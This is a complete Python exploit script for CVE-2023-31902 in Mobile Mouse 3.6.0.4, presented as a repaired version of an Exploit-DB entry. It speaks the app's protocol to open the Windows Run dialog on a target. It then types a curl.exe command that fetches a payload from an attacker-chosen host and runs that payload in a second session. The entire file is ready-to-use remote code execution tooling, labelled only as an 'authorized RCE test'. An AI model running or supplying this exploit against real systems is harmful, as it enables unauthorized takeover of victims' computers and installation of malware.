#!/usr/bin/env python3

# Fixed version of https://www.exploit-db.com/exploits/51010
#
# The original exploit downloads the payload but may fail to execute it
# because both stages use the same TCP session.
#
# This version reconnects after downloading, repeats the handshake,
# and executes the payload through a fresh session.
#
# CVE: CVE-2023-31902

import argparse
import socket
import sys
import time
from pathlib import PureWindowsPath


DEFAULT_PORT = 9099
HTTP_PORT = 8080

CONNECT_PACKET = bytes.fromhex(
    "434F4E4E4543541E1E"
    "63686F6B726968616D6D656469"
    "1E6950686F6E651E321E321E04"
)

OPEN_RUN_PACKET = bytes.fromhex(
    "4B45591E3131341E721E4F505404"
)

ENTER_PACKET_HEX = "4B45591E2D311E454E5445521E04"


def receive_response(sock: socket.socket, size: int = 1024) -> bytes:
    """
    Receive a response without blocking indefinitely.
    The protocol responses are small, so one recv() is normally sufficient.
    """
    try:
        return sock.recv(size)
    except socket.timeout:
        return b""


def send_command(sock: socket.socket, command: str) -> bytes:
    """
    Send text through the Mobile Mouse KEY command and press Enter.
    """
    command_hex = command.encode("utf-8").hex()

    packet = bytes.fromhex(
        "4B45591E3130301E"
        + command_hex
        + "1E04"
        + ENTER_PACKET_HEX
    )

    sock.sendall(packet)
    return receive_response(sock)


def create_session(
    host: str,
    port: int,
    timeout: float = 5.0
) -> socket.socket:
    """
    Connect to Mobile Mouse, perform the protocol handshake,
    and open the Windows Run dialog.
    """
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(timeout)

    try:
        sock.connect((host, port))

        sock.sendall(CONNECT_PACKET)
        receive_response(sock)

        sock.sendall(OPEN_RUN_PACKET)
        receive_response(sock)

        time.sleep(0.75)
        return sock

    except Exception:
        sock.close()
        raise


def run_stage(
    host: str,
    port: int,
    command: str,
    timeout: float
) -> None:
    """
    Execute one Run-dialog command through a fresh protocol session.
    """
    sock = create_session(host, port, timeout)

    try:
        send_command(sock, command)
        time.sleep(1)
    finally:
        sock.close()


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Mobile Mouse 3.6.0.4 authorized RCE test"
    )

    parser.add_argument(
        "--target",
        required=True,
        help="Target IP address"
    )

    parser.add_argument(
        "--file",
        required=True,
        dest="filename",
        help="Payload filename served by the local HTTP server"
    )

    parser.add_argument(
        "--lhost",
        required=True,
        help="IP address hosting the payload"
    )

    parser.add_argument(
        "--rport",
        type=int,
        default=DEFAULT_PORT,
        help=f"Mobile Mouse TCP port, default: {DEFAULT_PORT}"
    )

    parser.add_argument(
        "--http-port",
        type=int,
        default=HTTP_PORT,
        help=f"Payload HTTP server port, default: {HTTP_PORT}"
    )

    parser.add_argument(
        "--download-wait",
        type=float,
        default=10.0,
        help="Seconds to wait for the payload download"
    )

    parser.add_argument(
        "--timeout",
        type=float,
        default=5.0,
        help="Socket timeout in seconds"
    )

    args = parser.parse_args()

    filename = PureWindowsPath(args.filename).name

    if not filename:
        print("[-] Invalid filename", file=sys.stderr)
        return 1

    destination = f"C:\\Windows\\Temp\\{filename}"
    payload_url = f"http://{args.lhost}:{args.http_port}/{filename}"

    download_command = (
        f'curl.exe --fail --silent --show-error '
        f'"{payload_url}" -o "{destination}"'
    )

    execute_command = f'"{destination}"'

    print(f"[*] Target: {args.target}:{args.rport}")
    print(f"[*] Download URL: {payload_url}")
    print(f"[*] Destination: {destination}")

    try:
        print("[*] Opening first session and downloading the payload...")
        run_stage(
            host=args.target,
            port=args.rport,
            command=download_command,
            timeout=args.timeout
        )

        print(
            f"[*] Waiting {args.download_wait:.1f} seconds "
            "for the download to complete..."
        )
        time.sleep(args.download_wait)

        print("[*] Opening a fresh session and executing the payload...")
        run_stage(
            host=args.target,
            port=args.rport,
            command=execute_command,
            timeout=args.timeout
        )

    except ConnectionRefusedError:
        print(
            f"[-] Connection refused by {args.target}:{args.rport}",
            file=sys.stderr
        )
        return 1

    except socket.timeout:
        print(
            "[-] The target connection timed out",
            file=sys.stderr
        )
        return 1

    except OSError as exc:
        print(f"[-] Network error: {exc}", file=sys.stderr)
        return 1

    print("[+] Execution command sent")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())